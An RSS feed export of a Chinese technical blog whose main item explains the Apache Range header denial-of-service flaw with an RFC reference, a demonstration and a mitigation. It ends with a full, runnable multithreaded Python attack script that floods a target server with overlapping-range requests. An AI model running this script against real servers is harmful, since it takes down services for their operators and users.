﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-stone2083-随笔分类-net</title><link>http://www.blogjava.net/stone2083/category/29715.html</link><description /><language>zh-cn</language><lastBuildDate>Sat, 31 Mar 2018 17:35:42 GMT</lastBuildDate><pubDate>Sat, 31 Mar 2018 17:35:42 GMT</pubDate><ttl>60</ttl><item><title>socks协议+netty实现（协议部分）</title><link>http://www.blogjava.net/stone2083/archive/2016/09/08/431772.html</link><dc:creator>stone2083</dc:creator><author>stone2083</author><pubDate>Thu, 08 Sep 2016 04:51:00 GMT</pubDate><guid>http://www.blogjava.net/stone2083/archive/2016/09/08/431772.html</guid><wfw:comment>http://www.blogjava.net/stone2083/comments/431772.html</wfw:comment><comments>http://www.blogjava.net/stone2083/archive/2016/09/08/431772.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/stone2083/comments/commentRss/431772.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/stone2083/services/trackbacks/431772.html</trackback:ping><description><![CDATA[<img src="http://www.blogjava.net/images/blogjava_net/stone2083/socks.thu.png" border="0" alt="" /><img src ="http://www.blogjava.net/stone2083/aggbug/431772.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/stone2083/" target="_blank">stone2083</a> 2016-09-08 12:51 <a href="http://www.blogjava.net/stone2083/archive/2016/09/08/431772.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Apache Range Header DOS攻击 介绍</title><link>http://www.blogjava.net/stone2083/archive/2011/08/29/357475.html</link><dc:creator>stone2083</dc:creator><author>stone2083</author><pubDate>Mon, 29 Aug 2011 02:35:00 GMT</pubDate><guid>http://www.blogjava.net/stone2083/archive/2011/08/29/357475.html</guid><wfw:comment>http://www.blogjava.net/stone2083/comments/357475.html</wfw:comment><comments>http://www.blogjava.net/stone2083/archive/2011/08/29/357475.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/stone2083/comments/commentRss/357475.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/stone2083/services/trackbacks/357475.html</trackback:ping><description><![CDATA[<strong>背景</strong><a href="http://lwn.net/Articles/456268/"><br />
http://lwn.net/Articles/456268/
</a>
<br /><br /><strong>Http协议之Byte Range</strong><br /><div><a href="http://www.ietf.org/rfc/rfc2616.txt">http://www.ietf.org/rfc/rfc2616.txt</a>&nbsp;(14.35章节)<br /><span class="Apple-style-span" style="font-family: 'Times New Roman'; line-height: normal; font-size: medium; "><pre style="word-wrap: break-word; white-space: pre-wrap; ">14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139<br /><br /><strong>Apache演示</strong><br />1. 新建内容为abcdefghijk的txt页面<br />2. 不带Byte Range Header的请求，请看：<br /><img src="http://www.blogjava.net/images/blogjava_net/stone2083/misc/dos_req.png" width="300" height="267" alt="" /><br />3.带Byte Range Header的请求，请看：<br /><img src="http://www.blogjava.net/images/blogjava_net/stone2083/misc/dos_req2.png" width="400" height="428" alt="" /><br /><br />理论上，一旦带上N个Range分片，Apache单次请求压力就是之前的N倍（实际少于N），需要做大量的运算和字符串处理。故构建无穷的分片，单机DOS攻击，就能搞垮Apache Server。<br /><br /><div><strong>解决方案</strong> <br />1. 等待Apache修复，不过Byte Range是规范要求的，不能算是真正意义上的BUG，不知道会如何修复这个问题 <br />2. 对于不是下载站点来说，建议禁用Byte Range，具体做法： <br />2.1 安装mod_headers模块 <br />2.2 配置文件加上： RequestHeader unset Range</div><br /><strong>最后附上一个攻击脚本，做演示</strong><br /><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080; ">&nbsp;1</span>&nbsp;<span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;encoding:utf8</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">&nbsp;2</span>&nbsp;<span style="color: #008000; ">#</span><span style="color: #008000; ">!/usr/bin/env&nbsp;python</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">&nbsp;3</span>&nbsp;<span style="color: #008000; "></span><span style="color: #0000FF; ">import</span><span style="color: #000000; ">&nbsp;socket<br /></span><span style="color: #008080; ">&nbsp;4</span>&nbsp;<span style="color: #000000; "></span><span style="color: #0000FF; ">import</span><span style="color: #000000; ">&nbsp;threading<br /></span><span style="color: #008080; ">&nbsp;5</span>&nbsp;<span style="color: #000000; "></span><span style="color: #0000FF; ">import</span><span style="color: #000000; ">&nbsp;sys<br /></span><span style="color: #008080; ">&nbsp;6</span>&nbsp;<span style="color: #000000; "><br /></span><span style="color: #008080; ">&nbsp;7</span>&nbsp;<span style="color: #000000; ">headers&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;</span><span style="color: #800000; ">'''</span><span style="color: #800000; "><br /></span><span style="color: #008080; ">&nbsp;8</span>&nbsp;<span style="color: #800000; ">HEAD&nbsp;/&nbsp;HTTP/1.1<br /></span><span style="color: #008080; ">&nbsp;9</span>&nbsp;<span style="color: #800000; ">Host:&nbsp;%s<br /></span><span style="color: #008080; ">10</span>&nbsp;<span style="color: #800000; ">Range:&nbsp;bytes=%s<br /></span><span style="color: #008080; ">11</span>&nbsp;<span style="color: #800000; ">Accept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br /></span><span style="color: #008080; ">12</span>&nbsp;<span style="color: #800000; "><br /></span><span style="color: #008080; ">13</span>&nbsp;<span style="color: #800000; "></span><span style="color: #800000; ">'''</span><span style="color: #000000; "><br /></span><span style="color: #008080; ">14</span>&nbsp;<span style="color: #000000; "><br /></span><span style="color: #008080; ">15</span>&nbsp;<span style="color: #000000; "></span><span style="color: #008000; ">#</span><span style="color: #008000; ">fragment&nbsp;count&nbsp;and&nbsp;loop&nbsp;count</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">16</span>&nbsp;<span style="color: #008000; "></span><span style="color: #000000; ">COUNT&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">1500</span><span style="color: #000000; "><br /></span><span style="color: #008080; ">17</span>&nbsp;<span style="color: #000000; "></span><span style="color: #008000; ">#</span><span style="color: #008000; ">concurrent&nbsp;count</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">18</span>&nbsp;<span style="color: #008000; "></span><span style="color: #000000; ">PARALLEL&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">50</span><span style="color: #000000; "><br /></span><span style="color: #008080; ">19</span>&nbsp;<span style="color: #000000; ">PORT&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">80</span><span style="color: #000000; "><br /></span><span style="color: #008080; ">20</span>&nbsp;<span style="color: #000000; "><br /></span><span style="color: #008080; ">21</span>&nbsp;<span style="color: #000000; "></span><span style="color: #0000FF; ">def</span><span style="color: #000000; ">&nbsp;req(server):<br /></span><span style="color: #008080; ">22</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">try</span><span style="color: #000000; ">:<br /></span><span style="color: #008080; ">23</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;socket.socket(socket.AF_INET,&nbsp;socket.SOCK_STREAM)<br /></span><span style="color: #008080; ">24</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((server,&nbsp;PORT))<br /></span><span style="color: #008080; ">25</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.send(headers&nbsp;</span><span style="color: #000000; ">%</span><span style="color: #000000; ">&nbsp;(server,&nbsp;fragment(COUNT)))<br /></span><span style="color: #008080; ">26</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.close()<br /></span><span style="color: #008080; ">27</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">except</span><span style="color: #000000; ">:<br /></span><span style="color: #008080; ">28</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">print</span><span style="color: #000000; ">&nbsp;</span><span style="color: #800000; ">'</span><span style="color: #800000; ">Server&nbsp;Seems&nbsp;Weak.&nbsp;Please&nbsp;Stop.</span><span style="color: #800000; ">'</span><span style="color: #000000; "><br /></span><span style="color: #008080; ">29</span>&nbsp;<span style="color: #000000; "><br /></span><span style="color: #008080; ">30</span>&nbsp;<span style="color: #000000; "></span><span style="color: #0000FF; ">def</span><span style="color: #000000; ">&nbsp;fragment(n):<br /></span><span style="color: #008080; ">31</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;</span><span style="color: #800000; ">''</span><span style="color: #000000; "><br /></span><span style="color: #008080; ">32</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">for</span><span style="color: #000000; ">&nbsp;i&nbsp;</span><span style="color: #0000FF; ">in</span><span style="color: #000000; ">&nbsp;xrange(n):<br /></span><span style="color: #008080; ">33</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">if</span><span style="color: #000000; ">&nbsp;i&nbsp;</span><span style="color: #000000; ">==</span><span style="color: #000000; ">&nbsp;0:<br /></span><span style="color: #008080; ">34</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;ret&nbsp;</span><span style="color: #000000; ">+</span><span style="color: #000000; ">&nbsp;</span><span style="color: #800000; ">'</span><span style="color: #800000; ">0-</span><span style="color: #800000; ">'</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">+</span><span style="color: #000000; ">&nbsp;str(i&nbsp;</span><span style="color: #000000; ">+</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">1</span><span style="color: #000000; ">)<br /></span><span style="color: #008080; ">35</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">else</span><span style="color: #000000; ">:<br /></span><span style="color: #008080; ">36</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;ret&nbsp;</span><span style="color: #000000; ">+</span><span style="color: #000000; ">&nbsp;</span><span style="color: #800000; ">'</span><span style="color: #800000; ">,0-</span><span style="color: #800000; ">'</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">+</span><span style="color: #000000; ">&nbsp;str(i&nbsp;</span><span style="color: #000000; ">+</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">1</span><span style="color: #000000; ">)<br /></span><span style="color: #008080; ">37</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">return</span><span style="color: #000000; ">&nbsp;ret<br /></span><span style="color: #008080; ">38</span>&nbsp;<span style="color: #000000; "><br /></span><span style="color: #008080; ">39</span>&nbsp;<span style="color: #000000; "></span><span style="color: #0000FF; ">def</span><span style="color: #000000; ">&nbsp;run(server):<br /></span><span style="color: #008080; ">40</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">for</span><span style="color: #000000; ">&nbsp;_&nbsp;</span><span style="color: #0000FF; ">in</span><span style="color: #000000; ">&nbsp;xrange(COUNT):<br /></span><span style="color: #008080; ">41</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;req(server)<br /></span><span style="color: #008080; ">42</span>&nbsp;<span style="color: #000000; "><br /></span><span style="color: #008080; ">43</span>&nbsp;<span style="color: #000000; "></span><span style="color: #0000FF; ">if</span><span style="color: #000000; ">&nbsp;len(sys.argv)&nbsp;</span><span style="color: #000000; ">!=</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">2</span><span style="color: #000000; ">:<br /></span><span style="color: #008080; ">44</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF; ">print</span><span style="color: #000000; ">&nbsp;</span><span style="color: #800000; ">'</span><span style="color: #800000; ">killer.py&nbsp;$server</span><span style="color: #800000; ">'</span><span style="color: #000000; "><br /></span><span style="color: #008080; ">45</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br /></span><span style="color: #008080; ">46</span>&nbsp;<span style="color: #000000; "><br /></span><span style="color: #008080; ">47</span>&nbsp;<span style="color: #000000; "></span><span style="color: #008000; ">#</span><span style="color: #008000; ">run</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">48</span>&nbsp;<span style="color: #008000; "></span><span style="color: #000000; ">srv&nbsp;</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;sys.argv[</span><span style="color: #000000; ">1</span><span style="color: #000000; ">]<br /></span><span style="color: #008080; ">49</span>&nbsp;<span style="color: #000000; "></span><span style="color: #0000FF; ">for</span><span style="color: #000000; ">&nbsp;_&nbsp;</span><span style="color: #0000FF; ">in</span><span style="color: #000000; ">&nbsp;xrange(PARALLEL):<br /></span><span style="color: #008080; ">50</span>&nbsp;<span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;threading.Thread(target</span><span style="color: #000000; ">=</span><span style="color: #000000; ">run,&nbsp;args</span><span style="color: #000000; ">=</span><span style="color: #000000; ">(srv,)).start()<br /></span><span style="color: #008080; ">51</span>&nbsp;<span style="color: #000000; "></span></div></pre></span></div><img src ="http://www.blogjava.net/stone2083/aggbug/357475.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/stone2083/" target="_blank">stone2083</a> 2011-08-29 10:35 <a href="http://www.blogjava.net/stone2083/archive/2011/08/29/357475.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>